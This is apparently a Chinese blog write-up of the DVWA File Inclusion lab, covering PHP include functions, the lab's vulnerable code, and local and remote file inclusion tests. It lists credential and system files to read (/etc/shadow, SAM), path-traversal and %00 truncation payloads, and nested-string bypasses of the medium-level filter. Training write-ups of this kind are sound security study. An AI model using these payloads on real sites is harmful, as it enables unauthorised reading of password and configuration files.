File Inclusion

File Inclusion

利用这个漏洞去包含含有危险函数的危险文件,就会造成信息泄露和恶意代码执行

当服务器开启allow_url_include选项时,就可以通过 php 的某些特性函数(include(),require()和include_once(),require_once())利用 url 去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。

include()只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。
include_once()和 include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
require()只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。
require_once()和 require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

文件包含漏洞分为本地文件包含漏洞远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen 选项(选项开启之后,服务器允许包含一个远程的文件)。

【low】

服务端源码如下:

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>

服务器包含相应文件,并将结果返回。无论文件后缀是否是php,都会尝试当做php文件执行。

服务器期望用户的操作是点击下面的三个链接image-20210427220546908

【漏洞利用】

可读取的文件:

Windows:

c:\boot.ini          #查看可供选择的操作系统类别

c:\windows\repair\sam        #查看SAM文件  操作系统密码文件

查看PHPinfo.php    #php配置文件

Linux:

/etc/passwd     		#存储的是操作系统用户信息, 该文件为所有用户可见

/etc/shadow				#保存账号的密码信息

/etc/resolv.conf		#DNS客户机配置文件,用于设置DNS服务器的IP地址及DNS域名

/root/.ssh/known_hosts

/etc/network/interfaces

本地文件包含

构造url

在php版本小于5.3.4的服务器中,配置文件Magic_quote_gpc选项为off时,我们可以在文件名中使用%00进行截断,也就是说文件名中%00后的内容不会被识别,以下两个url完全等效。

image-20210427222338954

使用%00截断可以绕过某些过滤规则,例如要求page参数的后缀必须为php,这时链接A会读取失败,而链接B可以绕过规则成功读取。

访问服务器存在的文件:

image-20210428093959686

测试用例:?page=../../robots.txt 访问网站根目录下的robots.txt文件

还有可能爆出phpinfo的信息,测试如下: ?page=../../phpinfo.php

访问服务器非网站上的绝对路径下的文件:测试用例:?page=h:/test.txt (在H盘下建立的一个测试文件)

远程文件包含

测试用例 ?page=http://xxx.com/phpinfo.php 通过google hacking 找到一个存在phpinfo.php的站点测试

【medium】

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

多了

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );  #防止远程文件包含
$file = str_replace( array( "../", "..\"" ), "", $file );

使用str_replace 函数替换 http:// 和 https:// 为空

可以使用“hthttp://tp://”(嵌套),

“..././”,”file:///”方式(绕过)

posted @ 2021-07-03 16:32  dem0n小姐姐  阅读(32)  评论(0)    收藏  举报